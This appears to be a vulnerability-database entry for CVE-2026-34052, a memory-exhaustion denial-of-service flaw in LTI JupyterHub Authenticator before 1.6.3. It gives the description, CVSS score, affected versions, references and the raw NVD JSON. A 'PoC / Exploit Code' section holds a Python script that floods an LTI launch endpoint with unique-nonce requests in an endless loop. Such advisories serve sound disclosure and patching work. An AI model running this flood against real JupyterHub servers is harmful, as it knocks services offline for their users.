CVE-2026-34052

Description

LTI JupyterHub Authenticator is a JupyterHub authenticator for LTI. Prior to version 1.6.3, the LTI 1.1 validator stores OAuth nonces in a class-level dictionary that grows without bounds. Nonces are added before signature validation, so an attacker with knowledge of a valid consumer key can send repeated requests with unique nonces to gradually exhaust server memory, causing a denial of service. This issue has been patched in version 1.6.3.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:jupyter:lti_jupyterhub_authenticator:*:*:*:*:*:*:*:* - VULNERABLE

LTI JupyterHub Authenticator < 1.6.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import uuid

target_url = "https://target-jupyterhub-instance/lti/launch"
consumer_key = "VALID_CONSUMER_KEY_HERE"

print("Starting DoS attack simulation by exhausting memory with nonces...")

try:
    while True:
        # Generate a unique nonce for each request
        unique_nonce = str(uuid.uuid4())
        
        payload = {
            "oauth_consumer_key": consumer_key,
            "oauth_nonce": unique_nonce,
            "oauth_timestamp": str(int(__import__('time').time())),
            # Signature is invalid but nonce is stored before validation
        }
        
        # Send request
        response = requests.post(target_url, data=payload)
        
        print(f"Sent request with nonce: {unique_nonce}, Status: {response.status_code}")
        
except KeyboardInterrupt:
    print("Attack stopped by user.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34052
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34052
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34052/
[4] VulDB https://vuldb.com/cve/CVE-2026-34052
[5] https://github.com/jupyterhub/ltiauthenticator/releases/tag/1.6.3
[6] https://github.com/jupyterhub/ltiauthenticator/security/advisories/GHSA-8mxq-7xr7-2fxj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34052", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:03.777", "lastModified": "2026-04-13T17:44:00.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LTI JupyterHub Authenticator is a JupyterHub authenticator for LTI. Prior to version 1.6.3, the LTI 1.1 validator stores OAuth nonces in a class-level dictionary that grows without bounds. Nonces are added before signature validation, so an attacker with knowledge of a valid consumer key can send repeated requests with unique nonces to gradually exhaust server memory, causing a denial of service. This issue has been patched in version 1.6.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jupyter:lti_jupyterhub_authenticator:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.3", "matchCriteriaId": "AD8F0C3C-6B43-4A7A-B3DE-8585DB1B5668"}]}]}], "references": [{"url": "https://github.com/jupyterhub/ltiauthenticator/releases/tag/1.6.3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/jupyterhub/ltiauthenticator/security/advisories/GHSA-8mxq-7xr7-2fxj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}